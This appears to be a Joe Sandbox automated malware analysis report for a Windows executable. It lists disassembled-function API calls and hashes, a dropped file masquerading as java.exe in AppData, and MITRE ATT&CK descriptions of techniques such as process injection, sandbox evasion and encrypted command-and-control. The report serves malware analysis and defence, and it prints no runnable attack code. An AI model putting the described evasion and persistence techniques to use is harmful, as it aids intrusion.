memmove.VCRUNTIME140(00000131,00000000,?,00007FF65E1F577C,?,?,?,?,?,?,?,?,?,?,?,00000131), ref: 00007FF65E1FC9FD

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 22c5a87cf1eb821d3e1b326642f832fd49eba514ca20bfb2045cdbb9c517b22d
Instruction ID: 1449a37bb1bc89205afdf56820e8d9b8fd8dc1f180a7b12c2114bc74c14521a7
Opcode Fuzzy Hash: 22c5a87cf1eb821d3e1b326642f832fd49eba514ca20bfb2045cdbb9c517b22d
Instruction Fuzzy Hash: 7F31E723B1578185FE259B65A6403B82144AF24BF4F2C0231EE7C677D2EE3CA4D393A4

Function 00007FF65E1FB6A0 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF65E1FB77C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FB7B0
memmove.VCRUNTIME140 ref: 00007FF65E1FB7BA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1FB7E3

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: 423f6011978099a5633de49def7021714698bb932306e6b32f0bcf118006fb64
Instruction ID: 454770889572c1490df72c5585830030f1c8efdad07787d300588f742282bf8d
Opcode Fuzzy Hash: 423f6011978099a5633de49def7021714698bb932306e6b32f0bcf118006fb64
Instruction Fuzzy Hash: 3531D461F0974185EE309B1197043B96356EB14BE0F5C4731EA7D9BBD9DE3CE04183A0

Function 00007FF65E1F34A0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F34D8
memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3579
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F3597

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task
String ID:
API String ID: 1247048853-0
Opcode ID: 0856d8ef28bf0b974e58a5cbe811db801bf981de1f50d7aebe3243824524e5ab
Instruction ID: f5f07a54cccd2d5b4b7c22e242f21bbf73bae2db839e62a737f04b2249b8ddb9
Opcode Fuzzy Hash: 0856d8ef28bf0b974e58a5cbe811db801bf981de1f50d7aebe3243824524e5ab
Instruction Fuzzy Hash: BB21F9A2B0975645FE359B51A6003782244AF64BF5F1C0B30EE7DA77D2DF3CA4828360

Function 00007FF65E1FE20C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF65E1FE238
GetCurrentThreadId.KERNEL32 ref: 00007FF65E1FE246
GetCurrentProcessId.KERNEL32 ref: 00007FF65E1FE252
QueryPerformanceCounter.KERNEL32 ref: 00007FF65E1FE262

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a97b86fa2f70688a7d9bd2c8f00a38e5f6966c30de59eb49ea82c316ffeec9f8
Instruction ID: 6d43d416b674bed1456ca5691c1d7ad265ccc21b74b9a624b5fe8f7d79d50010
Opcode Fuzzy Hash: a97b86fa2f70688a7d9bd2c8f00a38e5f6966c30de59eb49ea82c316ffeec9f8
Instruction Fuzzy Hash: F6113022B14F018AFF00DF60E9542B833A4F729758F481E31EA6D967A8EF7CD1548340

Function 00007FF65E1FA640 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 339COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65E1FCCF0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1FCE9A

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,Security,System,?,?,?,00007FF65E1FAFB7), ref: 00007FF65E1FAA94

Strings

Security, xrefs: 00007FF65E1FA656
System, xrefs: 00007FF65E1FA654

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: Security$System
API String ID: 73155330-2661570791
Opcode ID: 50d799d0bf03d6ab0226f341a1398c31d653080fcac9ab1f781c5d39ff046ff4
Instruction ID: 211c1d34b547d944f82fedf67f810514d18c866ed9c6492fb2498475f5df9594
Opcode Fuzzy Hash: 50d799d0bf03d6ab0226f341a1398c31d653080fcac9ab1f781c5d39ff046ff4
Instruction Fuzzy Hash: 6EE17062E04A8184EF218B25D6502BC27A1FB64B98F4C8136EF6D67799DF7CD494C3A0

Function 00007FF65E1FCCF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1FCE9A

Strings

System, xrefs: 00007FF65E1FCCF3

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: System
API String ID: 118556049-3470857405
Opcode ID: 57678324b38aa7e480f2cd16bb7a8dde75a9da3e65f6b744abac7cf6ebda5980
Instruction ID: 1c33468e8468b14bb920a35cd8395b5652d5232546caa3f8119a0008dad5b2e7
Opcode Fuzzy Hash: 57678324b38aa7e480f2cd16bb7a8dde75a9da3e65f6b744abac7cf6ebda5980
Instruction Fuzzy Hash: 3B41F522B19B8581EE20CB24D2101B86B50EB68BA4F1CC731EE7E637D6DE3CE481D350

Function 00007FF65E1FCB90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1FCCE8

Part of subcall function 00007FF65E1FD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FCCE1

Strings

Security, xrefs: 00007FF65E1FCBA0

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: Security
API String ID: 1934640635-1022211991
Opcode ID: 7af52754fcb6c03aff77bb4b83069b5f5df2d5dc748e781ff3ebe458f5971933
Instruction ID: 2cbd82130f27ecdc7545f0202fa94d734d13d14f1494ca2e81912b52c98e4f1a
Opcode Fuzzy Hash: 7af52754fcb6c03aff77bb4b83069b5f5df2d5dc748e781ff3ebe458f5971933
Instruction Fuzzy Hash: 5C31C022B1468581EE24CB69D6003B82750EB65FA0F8C4A31EE3DA77C5DE3CE481D394

Function 00007FF65E1F85B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F8661
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F8710

Part of subcall function 00007FF65E1FD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A

Strings

System, xrefs: 00007FF65E1F85BC

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: System
API String ID: 1934640635-3470857405
Opcode ID: 1c72af7aff1db80b111292cff93d5bea67a3922ce020ff7019f13d82da7afb30
Instruction ID: 4c1e07f9c44e4f0367a708b10871a82fa7ec47152611ba894bd75d73d8a6ea88
Opcode Fuzzy Hash: 1c72af7aff1db80b111292cff93d5bea67a3922ce020ff7019f13d82da7afb30
Instruction Fuzzy Hash: 94412572619B4286EE209F11EA40269B3A4FB687D0F184231EAAD93BA5DF3CD491C350

Function 00007FF65E1F9CFF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 00007FF65E1F9D87

Part of subcall function 00007FF65E1F5E40: memset.VCRUNTIME140 ref: 00007FF65E1F5E74

Strings

0, xrefs: 00007FF65E1F9DB3
null, xrefs: 00007FF65E1F9D28

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: _dsignmemset
String ID: 0$null
API String ID: 210716287-2239106201
Opcode ID: 449d20cf74046f8510eab42154efe2d25a62bb869c27897a45daba319c9707b5
Instruction ID: dbddb61b9514f961225cdb9d435f04041741e05f7c8284af02205590c5edc693
Opcode Fuzzy Hash: 449d20cf74046f8510eab42154efe2d25a62bb869c27897a45daba319c9707b5
Instruction Fuzzy Hash: 7F31A222618BC585DB619F29E1403EAB360FF94B84F489222EB8D53755EF3CE585C710

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Jx6bD8nM4qW9sL3v.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\java.exe

C:\Users\user\AppData\Local\java.exe:Zone.Identifier

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
Jx6bD8nM4qW9sL3v.exe

Function 00007FF670FC70A0 Relevance: 81.5, APIs: 27, Strings: 19, Instructions: 981
COMMON

Function 00007FF670FC4990 Relevance: 58.3, APIs: 28, Strings: 5, Instructions: 546
memorycomCOMMON

Function 00007FF670FC7E10 Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 303
libraryloaderCOMMON

Function 00007FF670FC42B0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 141
windownativeCOMMON

Function 00007FF670FC1780 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 275
COMMON

Function 00007FF670FC3EC9 Relevance: 28.1, APIs: 7, Strings: 9, Instructions: 84
processCOMMON

Function 00007FF670FC3FEA Relevance: 28.1, APIs: 6, Strings: 10, Instructions: 62
librarynativeloaderCOMMON

Function 00007FF670FC4130 Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 70
registrystringCOMMON

Function 00007FF670FC40AC Relevance: 22.8, APIs: 4, Strings: 9, Instructions: 56
registryCOMMON

Function 00007FF670FC3F89 Relevance: 19.3, APIs: 4, Strings: 7, Instructions: 47
COMMON

Function 00007FF670FC4082 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 36
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre